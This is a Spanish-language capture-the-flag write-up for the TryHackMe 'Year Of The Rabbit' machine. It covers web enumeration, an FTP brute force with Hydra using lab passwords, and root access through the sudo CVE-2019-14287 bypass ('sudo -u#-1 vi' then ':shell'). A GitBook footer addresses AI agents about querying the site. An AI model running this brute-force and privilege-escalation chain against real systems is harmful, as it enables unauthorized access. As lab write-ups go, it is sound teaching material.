> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/yearoftherabbit.md).

# Year Of The Rabbit

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo.

```bash
nmap -sV -sC -Pn -n -T4 --min-rate 5000 <IP>
```

![Nmap](/files/gByoU6naznQH6Y6zGH87)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Version                    |
| ------ | ------ | -------- | -------------------------- |
| 21/tcp | open   | FTP      | vsftpd 3.0.2               |
| 22/tcp | open   | SSH      | OpenSSH 6.7p1 Debian       |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.10 Debian |

El primer punto de entrada parece ser HTTP, ya que Apache muestra la pagina por defecto y FTP no entrega informacion directa sin credenciales.

***

## 2. Enumeracion Web

Se realiza fuzzing de directorios sobre el servicio HTTP.

```bash
gobuster dir -u http://<IP>/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak,sh -b 404 -t 60
```

![Gobuster](/files/U4Skh4xbc4wf3YhMQmQa)

Entre los resultados aparece `/assets/`.

```
http://<IP>/assets/
```

![Index assets](/files/r3N4i9mDSGKKikTpzUUW)

Dentro se encuentran dos archivos:

| Archivo          | Comentario                            |
| ---------------- | ------------------------------------- |
| `RickRolled.mp4` | Video usado como pista                |
| `style.css`      | Hoja de estilos con comentario oculto |

Al revisar `style.css`, aparece una pista en un comentario.

![style.css](/files/0kDrJ1IczenCBMNdutbe)

```
Take a look at the page: /sup3r_s3cr3t_fl4g.php
```

***

## 3. Pagina oculta y redireccion

Al visitar la pagina descubierta, aparece un aviso indicando que se desactive JavaScript.

```
http://<IP>/sup3r_s3cr3t_fl4g.php
```

![JavaScript alert](/files/elxbb7RBW4IuG418Gs1o)

Se desactiva JavaScript desde `about:config`.

![JavaScript disabled](/files/4CKrF8heUUKE8X7kOtCO)

Con JavaScript desactivado se muestra una pista: el mensaje indica que la clave esta en el video y que hay que activar el audio.

![Pagina oculta](/files/6bHwdtqTrZzjQ2coQ6Gm)

Al revisar el codigo fuente se confirma que la pagina intenta redirigir a YouTube con JavaScript, pero tambien carga el video local `RickRolled.mp4`.

![Codigo fuente](/files/NS7JBCFThLS4kDSR1s5z)

Usando Burp se observa una redireccion HTTP hacia `intermediary.php` con un parametro llamado `hidden_directory`.

![Burp response](/files/JAoFYWSzVX5RWk4zODWt)

La cabecera `Location` revela el directorio oculto:

```
/WExYY2Cv-qU/
```

Al acceder al directorio aparece el archivo `Hot_Babe.png`.

![Directorio oculto](/files/WO3Stc94gG4brmMw6PhM)

***

## 4. Extraccion de Wordlist desde la Imagen

Se descarga `Hot_Babe.png` y se revisa con `strings`.

```bash
strings Hot_Babe.png
```

![Strings Hot Babe](/files/ZWHGDixDo6avijr4gBak)

El archivo contiene un mensaje con el usuario FTP y una lista de posibles passwords.

![Credenciales FTP](/files/KXaMDnqDbMe8wjyq6CIY)

Usuario encontrado:

```
ftpuser
```

Se guarda la lista de passwords en `password.txt` y se lanza Hydra contra FTP.

```bash
hydra -l ftpuser -P password.txt <IP> ftp
```

![Hydra FTP](/files/7XLv9WfeoGoIjZVmI7R9)

Credenciales recuperadas:

| Usuario   | Password        |
| --------- | --------------- |
| `ftpuser` | `5iez1wGXKfPKQ` |

***

## 5. Acceso FTP

Se accede al FTP con las credenciales encontradas.

```bash
ftp <IP>
```

Dentro del FTP aparece el archivo `Eli's_Creds.txt`.

```bash
ls
get Eli's_Creds.txt
```

![FTP Eli creds](/files/9Flt9qX3owWHeREwn1fl)

Al leerlo, el contenido no es texto claro.

```bash
cat Eli\'s_Creds.txt
```

![Brainfuck](/files/yymDQr4CvZwLzwVK2prE)

El formato corresponde a Brainfuck. Se decodifica con `beef`.

```bash
beef "Eli's_Creds.txt"
```

![beef decode](/files/dG553v7tHTW2e0Xrm2Lr)

Credenciales recuperadas:

| Usuario | Password        |
| ------- | --------------- |
| `eli`   | `DSpDiM1wAEwid` |

***

## 6. Acceso SSH como eli

Se accede por SSH como `eli`.

```bash
ssh eli@<IP>
```

Al iniciar sesion, aparece un mensaje de root dirigido a `Gwendoline`.

![SSH eli](/files/pTGb7KhqdYsroCe1Ba0N)

El mensaje indica que existe un escondite `s3cr3t` con una nota para `Gwendoline`.

Primero se revisa rapidamente el home de `eli`.

```bash
ls -la ./* 2>/dev/null
```

![Home eli](/files/BVyhGiIbYA79qmCgNH0h)

Despues se buscan rutas llamadas `s3cr3t`.

```bash
find / -name "s3cr3t" 2>/dev/null
```

![Find s3cr3t](/files/nkwDhp8krA6rbRCZvZiN)

Se encuentra:

```
/usr/games/s3cr3t
```

***

## 7. Movimiento lateral a gwendoline

Dentro de `/usr/games/s3cr3t` aparece un archivo oculto.

```bash
cd /usr/games/s3cr3t
ls -la
cat .th1s_m3ss4g3_15_f0r_gw3nd0l1n3_0nly!
```

![Mensaje para Gwendoline](/files/4uQUnr5YGA7iHOUvQGwY)

El mensaje filtra la password de `gwendoline`:

```
MniVCQVhQHUNI
```

Se cambia al usuario `gwendoline`.

```bash
su gwendoline
```

![su gwendoline](/files/5Pp0fxihrGx2GPSSlbBD)

***

## 8. Enumeracion de sudo

Como `gwendoline`, se revisan los permisos de `sudo`.

```bash
sudo -l
```

![sudo -l](/files/s7TCQZG43u8HUdebP56o)

Permiso encontrado:

```
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
```

La configuracion intenta impedir ejecutar el comando como `root`, pero la version de `sudo` es vulnerable a CVE-2019-14287. Esta vulnerabilidad permite usar el identificador `-1` para acabar ejecutando el comando como UID 0.

![CVE sudo](/files/xOVbSaByU0MG6oRP35w8)

***

## 9. Escalada a root

Se ejecuta `vi` abusando de `sudo -u#-1`.

```bash
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
```

Desde `vi`, se lanza una shell.

```vim
:shell
```

![Vim shell](/files/KsBMx9s5cLSuYGVZBsS7)

Se confirma el acceso como `root`.

```bash
whoami
```

![Root](/files/Ac8WRIWDa4S1EZ9AsivC)

Con esto se puede leer la flag final en `/root/root.txt`.

***

## Resumen

| Paso | Tecnica            | Resultado                         |
| ---- | ------------------ | --------------------------------- |
| 1    | Nmap               | FTP, SSH y HTTP abiertos          |
| 2    | Gobuster           | Directorio `/assets/` descubierto |
| 3    | Comentario en CSS  | Ruta `/sup3r_s3cr3t_fl4g.php`     |
| 4    | Burp / redireccion | Directorio oculto `/WExYY2Cv-qU/` |
| 5    | `strings`          | Wordlist y usuario `ftpuser`      |
| 6    | Hydra              | Password FTP recuperada           |
| 7    | FTP                | Descarga de `Eli's_Creds.txt`     |
| 8    | Brainfuck          | Credenciales de `eli`             |
| 9    | Mensaje local      | Password de `gwendoline`          |
| 10   | CVE-2019-14287     | Shell como `root`                 |

***

## Conclusion

Year Of The Rabbit mezcla enumeracion web, analisis de archivos y una escalada clasica de `sudo`. La cadena empieza con una pista escondida en `style.css`, continua con una redireccion que revela un directorio oculto, y acaba extrayendo una wordlist desde una imagen para romper FTP. Despues, un archivo codificado en Brainfuck entrega las credenciales de `eli`, una nota local permite saltar a `gwendoline`, y la mala configuracion de `sudo` se explota con CVE-2019-14287 para conseguir root.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/yearoftherabbit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
